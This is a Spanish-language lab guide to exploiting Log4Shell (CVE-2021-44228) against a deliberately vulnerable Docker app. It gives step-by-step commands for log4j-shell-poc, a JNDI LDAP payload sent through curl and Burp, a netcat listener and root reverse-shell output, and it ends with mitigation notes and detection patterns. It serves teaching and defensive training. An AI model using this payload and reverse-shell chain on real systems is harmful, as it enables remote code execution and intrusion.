
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell (CVE-2021-44228) es una de las vulnerabilidades de ejecución remota de código más impactantes jamás divulgadas. Afecta a Apache Log4j 2, un framework de registro (logging) de Java ampliamente utilizado, y permite a los atacantes ejecutar código arbitrario mediante el abuso de búsquedas JNDI en mensajes de registro.
Esta guía proporciona un laboratorio de demostración completo y reproducible que utiliza:
log4j-shell-pocEstá diseñada exclusivamente para enseñanza, investigación, formación y concienciación defensiva en entornos controlados. La estructura y el estilo siguen el mismo espíritu que el README del laboratorio complementario «Shellshock».
poc.py para Usar JDK 1.8.0_202curlEste laboratorio solo debe realizarse en un entorno controlado donde tengas autorización explícita (tu propio laboratorio, máquinas virtuales de clase, etc.).
Log4Shell (CVE-2021-44228) es una vulnerabilidad crítica de RCE en Apache Log4j 2.
El problema surge porque las versiones vulnerables de Log4j2 interpretan cadenas controladas por el atacante como:
${jndi:ldap://ATTACKER_IP:1389/a}
Cuando esta cadena se registra, Log4j:
En este laboratorio:
log4j-shell-poc.curl y mediante Burp Suite.Al finalizar este laboratorio, deberías ser capaz de:
Todos los componentes se ejecutan sobre tu laboratorio virtual existente. Para esta documentación asumimos:
Idea clave
El atacante inyecta:
${jndi:ldap://192.168.1.4:1389/a}
en una cabecera HTTP. La aplicación vulnerable la registra usando Log4j2 → realiza una búsqueda JNDI LDAP hacia 192.168.1.4:1389 → descarga una clase maliciosa desde http://192.168.1.4:8000 → ejecuta la clase, que abre una reverse shell de vuelta a 192.168.1.4:9001.
En Kali necesitas:
nc).A lo largo de esta guía asumimos que la IP de Kali es:
192.168.1.4
Si tu IP es diferente, ajusta todos los comandos en consecuencia.
El PoC depende de Java SE 8 Update 202 (JDK 1.8.0_202) porque las versiones posteriores de Java restringen el comportamiento de carga remota de clases que utiliza este exploit.
Incluso si Kali ya tiene OpenJDK 21 (o similar), igualmente necesitas instalar 8u202 por separado.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Raíz del espejo:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Descarga el tarball para Linux x64 (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # debería ser ~185M
/usr/bin/jdk1.8.0_202sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
La opción --strip-components=1 elimina el directorio de nivel superior del archivo para que los archivos queden directamente en /usr/bin/jdk1.8.0_202.
/usr/bin/jdk1.8.0_202/bin/java -version
Salida esperada:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Si ves esto, JDK 1.8.0_202 está correctamente instalado.
En una nueva terminal en Kali (puedes permanecer en ~/Log4Shell):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Deberías ver registros similares a:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ desde Kali.Verificación rápida:
curl http://127.0.0.1:8080/
Puede que veas una Whitelabel Error Page (HTTP 400). Eso está bien: todo lo que necesitamos es que la aplicación esté ejecutándose y registrando las peticiones.
log4j-shell-pocEn una nueva terminal:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Confirmar los archivos:
ls
# poc.py, target/, README, etc. Exploit.java se generará más tarde.
poc.py para Usar JDK 1.8.0_202Por defecto, poc.py espera encontrar un JDK local en un directorio llamado jdk1.8.0_20 dentro del repositorio. En su lugar, instalaste JDK 8u202 en /usr/bin/jdk1.8.0_202, por lo que debes actualizar el script.
poc.py en un editornano poc.py
Busca jdk1.8.0_20 (en nano: Ctrl+W, escribe jdk1.8.0_20, pulsa Enter).
Deberías encontrar tres apariciones, como:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Reemplázalas con:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Guardar y salir:
Ctrl + O → EnterCtrl + XAhora el PoC usa JDK 1.8.0_202 desde /usr/bin.
Desde ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Parámetros:
--userip – tu IP de Kali (atacante): p. ej. 192.168.1.4.--webport – puerto para el servidor HTTP embebido: 8000.--lport – puerto al que el payload se conectará de vuelta: 9001.Si todo está configurado correctamente, deberías ver algo como:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Importante:
El servidor LDAP está escuchando en el puerto 1389.
El servidor HTTP está escuchando en el puerto 8000.
El payload exacto a inyectar se imprime:
${jndi:ldap://192.168.1.4:1389/a}
Deja esta terminal en ejecución.
Abre otra terminal nueva en Kali:
nc -nvlp 9001
Deberías ver:
listening on [any] 9001 ...
Este listener recibirá la reverse shell desde la aplicación vulnerable.
En este punto deberías tener:
poc.py ejecutando LDAP (1389) y HTTP (8000).curlPrimero, demuestra que el exploit funciona usando una petición HTTP cruda.
En una nueva terminal (o reutiliza una si está disponible):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
Lo que sucede:
X-Api-Version.${jndi:ldap://192.168.1.4:1389/a} y realiza una búsqueda JNDI LDAP.poc.py) responde con una referencia a una clase Java maliciosa alojada en tu servidor HTTP.192.168.1.4:9001 y abre una shell.Si tiene éxito, tu terminal de Netcat mostrará:
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
Ahora tienes una shell root dentro del contenedor Docker.
Prueba con:
id
hostname
ls /
Sal con:
exit
Netcat volverá a quedar en escucha.
Ahora demuestra la misma ruta de explotación usando un navegador intermediado por Burp Suite.
Inicia Burp Suite en Kali.
En Burp, asegúrate de que el listener del Proxy esté ejecutándose en 127.0.0.1:8080.
En Firefox:
127.0.0.1, Puerto: 8080.127.0.0.1.En Burp → Proxy → Intercept, asegúrate de que Intercept esté ACTIVADO.
En Firefox, navega a:
http://127.0.0.1:8080/
Burp mostrará la petición interceptada, p. ej.:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
En Repeater, modifica la petición para incluir una cabecera X-Api-Version:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Notas:
192.168.1.4 por tu IP real de Kali si es diferente.${} – deben aparecer exactamente como se muestran.Connection: close simplifica las cosas (opcional).poc.py y el listener de Netcat sigan ejecutándose.Puedes volver a ver una 400 Whitelabel Error Page – eso está bien.
Revisa tu terminal de Netcat:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
Una vez más has obtenido una shell root en el contenedor, esta vez usando una petición HTTP modificada con Burp, lo que refleja un flujo de explotación web realista.
El atacante construye el payload JNDI:
${jndi:ldap://192.168.1.4:1389/a}
La aplicación vulnerable registra esta cadena usando Log4j2.
Log4j2 interpreta ${jndi:...} y realiza una búsqueda JNDI.
La búsqueda usa LDAP para contactar al servidor LDAP del atacante en 192.168.1.4:1389.
El servidor LDAP (marshalsec) responde con una javaNamingReference que apunta a una clase controlada por el atacante alojada por HTTP, p. ej.:
http://192.168.1.4:8000/Exploit.class
La JVM víctima descarga y carga esta clase.
El constructor de la clase abre un socket de vuelta a 192.168.1.4:9001 y vincula /bin/sh a él.
El listener de Netcat del atacante recibe la conexión entrante y obtiene una shell root remota dentro del contenedor.
En entornos reales, se deben aplicar múltiples capas defensivas.
Para despliegues aún vulnerables, añade:
-Dlog4j2.formatMsgNoLookups=true
(Donde corresponda – ten en cuenta que no todas las configuraciones vulnerables se corrigen solo con esta bandera.)
JndiLookup de los JAR de log4j-coreComo medida de defensa en profundidad:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: o ${${lower:j}${upper:ndi}:.Una visión condensada de los comandos utilizados en este laboratorio.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py (resumen)Reemplaza:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # dos usos
Con:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLaboratorio de enseñanza de Log4Shell (CVE-2021-44228) – elaborado con esmero para estudiantes, defensores y hackers éticos de todo el mundo.
Hecho con amor por:
Haitham de Omán ❤️🇴🇲
| Componente | Rol / Descripción | Herramientas / Servicios | Direccionamiento de Ejemplo |
|---|
| VM Kali Linux (Atacante + Host) | Ejecuta el PoC del exploit, servidor LDAP, servidor HTTP, listener de Netcat, Burp Suite | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (IP de ejemplo de Kali) |
| Aplicación web Log4j2 vulnerable | Objetivo; aplicación web Spring Boot vulnerable a Log4Shell | Imagen Docker: ghcr.io/christophetd/log4shell-vulnerable-app | Expuesta en http://127.0.0.1:8080 |
| Descripción | Imagen |
|---|
| Instalación de JDK / configuración del entorno | ![]() |
| Script PoC ejecutándose (payload de activación) | ![]() |
| Aplicación web Tomcat vulnerable ejecutándose | ![]() |
| Actualizando el script del exploit PoC | ![]() |